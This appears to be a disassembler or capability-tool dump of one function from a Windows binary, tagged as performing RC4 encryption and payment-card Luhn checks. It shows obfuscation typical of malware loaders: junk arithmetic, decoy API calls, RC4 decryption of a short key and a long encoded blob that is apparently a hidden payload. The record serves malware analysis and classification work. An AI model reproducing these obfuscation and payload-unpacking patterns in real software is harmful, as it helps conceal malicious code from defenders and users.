Function at 0x407c84
Capabilities:
Encrypt data using rc4 ksa
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ecx, 0xb
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x123]
mov esi, str.Nirmala_UI
push ebx
sub esp, 0x14c
mov eax, dword [0x42947c]
mov dword [ebp - 0x131], 0x8f0a4d55
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x12e], 0xd1b72c8f
sub eax, 0x7082ddd4
xor eax, 0x1e86516a
mov dword [0x428f64], eax
or eax, 0x78115e32
xor eax, 0x89a53638
mov dword [0x42947c], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
push edx
xor dword [0x42947c], 0x27143ff2
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x407cef
or dword [0x428f64], 0x9a5b2177
xor esi, esi
call fcn.0040ffd0
mov edi, dword [0x42947c]
xor ecx, ecx
lea eax, [edi + 0x6de269fc]
xor eax, 0x4a34905
mov dword [0x428f64], eax
mov al, byte [ebp + ecx - 0x118]
mov ebx, 0xa
xor edx, edx
mov byte [ebp - 0x139], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0x123]
movzx edx, byte [ebp - 0x139]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], al
mov al, byte [ebp - 0x139]
inc ecx
mov byte [ebp + esi - 0x118], al
cmp ecx, 0x100
jne 0x407d27
xor eax, eax
cmp word [eax + eax + str.FilterFullPath], 0
je 0x407da6
inc eax
cmp eax, 0x197a
jne 0x407d7b
mov dword [esp], str.Failed_to_allocate_memory_for_text_blob
call fcn.0041013c
or dword [0x42947c], 0x2afe1497
jmp 0x407dad
cmp eax, 0xf67
jle 0x407dc3
call fcn.0040ecec
mov eax, dword [0x42947c]
sub eax, 0x79941603
mov dword [0x428f64], eax
jmp 0x407dcf
xor edi, 0x77073e65
mov dword [0x42947c], edi
xor dword [0x42947c], 0xdb5a6183
call fcn.00413a64
mov edx, str.The_name_provided_is_not_a_properly_formed_account_name.
mov al, byte [edx]
test al, al
je 0x407dff
sub eax, 0x30
cmp al, 9
jbe 0x407dfc
add dword [0x428f64], 0x70f7c7e1
jmp 0x407dff
inc edx
jmp 0x407de3
xor dword [0x428f64], 0xacbaa0b5
xor edi, edi
xor esi, esi
xor ebx, ebx
call fcn.00411180
inc ebx
movzx ebx, bl
mov al, byte [ebp + ebx - 0x118]
mov byte [ebp - 0x139], al
add eax, esi
movzx esi, al
mov eax, dword [0x42947c]
or eax, 0xf77041f1
mov dword [0x428f64], eax
call dword [sym.imp.USER32.dll_GetMessageTime]
mov dl, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x139]
imul eax, eax, 0x4aabb825
mov byte [ebp + ebx - 0x118], dl
mov byte [ebp + esi - 0x118], cl
mov dword [0x428f64], eax
xor eax, 0xc41111ef
mov dword [0x42947c], eax
xor eax, eax
cmp word [eax + str.Failed_to_allocate_memory_for_text_blob], 0
je 0x407e8a
add eax, 2
cmp eax, 0x2072
jne 0x407e71
call fcn.00413a64
mov eax, dword [0x428f64]
sub eax, 0x28b8c4eb
mov dword [0x42947c], eax
call fcn.0040ecec
mov al, byte [ebp - 0x139]
add al, byte [ebp + ebx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + edi - 0x131]
mov byte [ebp + edi - 0x12a], al
inc edi
cmp edi, 7
jne 0x407e14
mov eax, dword [0x428f64]
mov ecx, eax
and eax, 0x42141006
and ecx, 0x563410d6
mov dword [0x42947c], eax
mov dword [0x428f64], ecx
mov dword [esp], str.Attempt_to_lock_the_eject_media_mechanism_fails.
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [ebp - 0x12a]
push eax
mov byte [ebp - 0x123], 0
mov dword [esp + 0xc], 7
mov dword [esp + 8], edx
mov dword [esp + 4], 0x11c8
mov dword [esp], str.FxTFEVJGPryFEjduytFBg_1pi8YmEauYs7SfA17mP6h9CkkMozn953xgZPC2fphGLiYurQDX9qYGvgvof5n9_F_fMeMGzMSDjDXw0rLo1WLKeGm4_oT7reHJU6uNa6AdmIN_6sjMdVfEreGgvclR3OrBBqcoXnKmEk9tV__eZdFdz6bLzxvrtnEJNYr5NsH86svRFBCHn8Bm1pLiQ3xVAThmGogkdTQtDdBS8ixfLnnhvH2fAAyPECiRfQ7MZWkDP8HNYsTBwK9iVaVtEGK5dGp2tAqb4OSfttaB9bzq2RTKIrbpHpNNbsE9LmOtMLVkB7Ry1KrjT0s5BUS_PyUC3q8K_JuCXD4lwzxm4vNdSZorqb9VOnxk3lD58GRJSbuT5yrefSRtO_hakUBijdNIv9YWZ0KNR2_IDD_zsdF83AlK0u5Y8jdUt9F8NMlNNtYQkqZZnKLJs1ID3SU_Bt1Vk2DDJ0IH54yuzenRv0B4WV8PO4t_3ai5Ek1blcfeX91m4lVURxtE97FzOV4TVEZb_SHIg1MfYB1olSk_xNpqj1kq7diq_slJFslMum_H7mIrpEc2mTzKv8PhwtHSm47xLsbpL6zwroNsytfe9QfxuSvgn0zoD6LKuZcoDDXz6r8IoKUFv7QFDHedYAg6pR69nlUUMH6_w09uYmB5mLaZj3EtxvRwKy5ndte25OlYwGeR32aw9xj6HgjcKiV5XK3jJHF0v2_qbGTXJSHK0RfRHJafQ4l79fqxEb3pmmUUzTUS43L_nijRw66eO_GWsZs8a2U7m9CVoZUUnWt0AUVaQtVNTJCZhcjyDGFdVGDu25giB3UFQJIap02ysAmJBbBA6N6yDhbDcuWJPuIYfbySUNC7zEoIKzezEY99eqdDryLogcZZcri6bjZr1OqQzqTP3rICO2eA6DMEvbr0iPjTNiTrwRCCY_UaMHFDcbFc_a4hZMfb3JofJ_vpFsXrEqH3r63bNuxYs0x247Xjea6hL85i2fiowl3wBpubpPSQJPnytARXiyaxQN8Buejy91upprSo27lLQzhTTNiM6X9lkM6xCGcilTJuO_RlvuhBfl7tfbSTtrJZjy1RGyuILxO6PAZnJlnqv9O99SKBE67_mU_trGTzaKPcNsQAQinmjQJA8HN57fEvAoIicfU0XKuWcabxxh8CiXr0DS2xwm9MeAwcH3hKFp5uHeYEOX6oO5RYVB3u50SrqthS9y9SfdugdRbKXAPIHvcMYEwcxzBGdesm6orvUeObPhX1PqaScCuBf_HzB680LrH6tcpWUxlMiNWiCX0wODKTbTjZpwxBMOS_71wI57rhnK4Fr6YBW0bmXU57ZWaawb5Z3Cm1MqiUlVyAZ_DtPJXf2OeBuK4RKE7K8AbwF2JU6PzUhiBuLu1iY1oNqA3RFjuFSpKdKTJqumcTGL_ukLprgrcq3HhWQ5gmBhU5X3R2yoNIGK0u8CXp_KKF1cY2h7HVyG4qlHnN5FZrSyxPTE5FslJ9wWbp9JQUQzt3iMWN8s1UeTKrTAYOhFA755Yc11yXL5RtZYfFdwwV1xSQigpqHUOW3yHp_YyaFSJRkKVH8JUTFKkJZ5RTOoYix02sCMSFEyknGXBxhNeR0_ZuWc4SNJ5Xid7YpwYymgap3bqk8SPpYJUIybhOLxghw24qOIDXpcOiePXlKq_MpAssB0h2SwXdSG0Oz5_OpSMkEacyAs0uBJhbyKlFMBYptywQiMAp39GF3_dMQ089tsNOYMsQWnzsLLUprJ2ZD4U8W98HteZRmPkEU_Jn7_uRvdNZ9r4SbZgpfMup2IDwGHmF13QMKUlW3jcNuKrA693p_L2zzmO6zIy60K_MtkMyENNHVxuwICVGl9kMYFxVK1MBq0ahbDdh9CRtg9UTlGmTERGZc113edmXWvn_QMNyrtqGNyjK9ReQYtRqSMYrH5VPuTnfuFa3njGGDVGN6bQePFKz7wWeYaypEUfK3Ry1yZYkZDQg0XFMdnj3zFpw_b_7m9vgaP1YwJiJGbAmmsW5d9szzILXHVhkP2KNYEEgugKUMcKyklmcXZMKIwEDKphTJY4Webvva0JHGhV6DtgTxsMUOoddX984ntRN7c3L0mYQeAozKJreVNueKohqEwow0MX9fTf0gcts74xp_Z2cTkZrcL6NUTqCooLEriWdPNG1HmP2fRHN_if9rsHnOuSCTEmXZLM3Oz1xf5lPOwPd_ecD5Gq6Sa3HOePpCVGkm1qA6bV_fe_BgKHVcGG7D4fnPSllHjWXUiHgQKVwO3zADS8x6dsoJyWqfyteEu6kc1L9GyQXdwNZsYcDntI4Av7pOZZAxFxbjj3c_f51PsXMSvPwRBUxgGaa3cGqEflNr6zNui9NyHlBxuJHVgCc7rb5FtuhomoHPX0TY7vHYt4d_xGBDrZ9EAGZgJdIQkh4NO4kh6I4rEMP9qM4rXZ1xMHTP4eOXHGrqU59L7iTGLNlTrzTPv4nAYUTFi3ugTfIgmAuY9eLj6KLsl1Al85a0967V0OWq_gxgb4PAZ8pJrshFmLtUjzMmxW3mG0erOGqjeIo6FJ58ajMSrM4lVZ41KgGWfuN6mSvudcbS0vlU5nQyyZAx7vbwbaTywS8lLP8v25RrIx6iavIFXwmecJNFpaX53LzKykisoGxSv9oRm1EJ__Rv78RZ5yhPjAWrKS1KOzSNc5DBu2Q5W1DUgK05SDfPNnRkhxMBwLZSAq76szotQggp4I3xlJeirW6F5FyF2th1D6owxPCEQyiYVJNbkAC7fPNR6nT3xK5XZgVwnQlExnqW5vYuGthstwmLRw9VHM5zuFkcuIQ_Ri_hDkdDd9dDxdUBzwDTWB76ae2XwwZyfJLVfnwE52bIo2hAdbIKilhxwsE2PvZ52Jwz417gNk2_JsunCgW7dIEvehBZ9ayVUxdg1E4VMOcv7YE2ZQ5JSydOj4CNpmqXeGjwldxCQizLQlbBlRvUqPknKHhv3aGNHLCSQ6HwsDTLC_50OvU82GIMmfFXzkQ0sFV2BG1gif7FytO4euwlxEOnMHvqvwIrcOXyxBHCMkinvdsYq8ziREa6Y9XjblPKuyY8S1gARUMKtsUR3d6ZshIH6yFL0DFEgbwoxeoZYnInkZS8mpX4UPws8ItT2JLGzXErkBlg3ti8blZfXV5AxDyaaDzM0gM30A0Eqp_2BCIok2RwqZtQWl5k0Uo3J4lmarXq1wDicZXBgk2YpjmITwkYvrqUipTWYXi4B7h0PbPqXehxzBZbPVp4GBAddDfaQzDLanEHWGYoJGrwOrkj4AUpaC6So85H4QgRzUqQmuhrYfK0tO_DwxrvVQIYZPyF9HeyOUCYqa3fUcH_uqwC_iW75ZSckEoOliOHTenN4VdehtjeiahIPSDzrFwvkd8K4v1Nj6qNRfb6l9kQKrAO0UiZQRSWi2AhQ4PQTW7KOslpviQIOnFHuTx0Ey8PEXoswCgDNrXzlXUjz_CzyOHEE4Au16iQ07tR9e_zfD85XzIOiAEf4GOy2xxyDSvx_Po8eEZRDgKItTwFHImWkhcK2GOcGda4LWc7xMKWYEpdExLM942zzDOPiU0x1raV1GmnTD6omJfBZip_GJKhRq8__OAwj1dTmAQqX3lsw3T40XdcQSKcCc673O5lW432sO1ljZiuOpqfqal2nbBjRWqAkB7fLqiBi8NRN81zq0eOi67VRuy9NpjTp9DaZ2yS9GSGbTZqMj45pqZKv34tod21nRBYJZUEr0IPU39bnWfO7xyMuU5Ry47eVvE8fP6LzvR0LxZRhL1q85U30Ituu5XiHWAMJnuv6SkD4PozzyxXMHnzbu7vSDkOb9eOF3eBrmFGFtBQHygqKg5KGkAdtG6GjMWuHtwjNTZr7oNbP0WgR5Ewdxx8CIc3AbUPrD5SZPkJDeTRBhiHuZDlTJV3Dfnu9qOZChcMnncs58raT8RZEi8BQidO4L6zqnTE60nLDQlreLbJ4ZTk3wVB0VGsTIzUwYL5yGZkuAcfiL7mDZC68
call fcn.0040b3c4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret